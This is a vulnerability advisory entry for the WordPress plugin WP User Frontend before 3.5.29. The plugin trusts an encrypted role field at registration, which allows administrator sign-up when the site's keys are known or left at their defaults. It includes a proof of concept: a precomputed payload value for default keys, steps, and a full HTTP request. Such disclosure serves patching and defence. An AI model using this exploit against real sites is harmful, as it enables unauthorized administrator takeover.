Lucene search

K
wpvulndbStiofanWPVDB-ID:9486744E-AB24-44E4-B06E-9E0B4BE132E2
HistoryOct 31, 2022 - 12:00 a.m.

WP User Frontend < 3.5.29 - Obscure Registration as Admin

2022-10-3100:00:00
Stiofan
wpscan.com
12
vulnerability
wp user frontend
registration
admin
encryption
arbitrary file access
default keys

0.003 Low

EPSS

Percentile

68.8%

The plugin uses a user supplied argument called urhidden in its registration form, which contains the role for the account to be created with, encrypted via wpuf_encryption(). This could allow an attacker having access to the AUTH_KEY and AUTH_SALT constant (via an arbitrary file access issue for example, or if the blog is using the default keys) to create an account with any role they want, such as admin

PoC

Generate the encrypted string for โ€˜administratorโ€™ via the script below. If the default salts/keys are used in the wp-config.php file then the encrypted string for an administrator account is: โ€œbXFaYVc1WjJlNzlXTXRsbkxSZFptdz09โ€ 1. Visit the registration page of the plugin 2. Edit the form HTML and change the input โ€œurhiddenโ€ to the generated encrypted value 3. Submit the registration, you will now have an administrator level account. POST /wpuf-registration/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8 Accept-Language: en-GB,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 234 Connection: close Upgrade-Insecure-Requests: 1 reg_fname=Attackerยฎ_lname=Adminยฎ_email=attacker%40localhost.org&log;=attacker&pwd1;=Passw0rd&pwd2;=Passw0rd&wp-submit;=Register&urhidden;=XXXXXXXXXXXXXXXXXXXX&wpuf;_registration=true&action;=registration&_wpnonce=b6c5a58299

CPENameOperatorVersion
wp-user-frontendlt3.5.29

0.003 Low

EPSS

Percentile

68.8%

Related for WPVDB-ID:9486744E-AB24-44E4-B06E-9E0B4BE132E2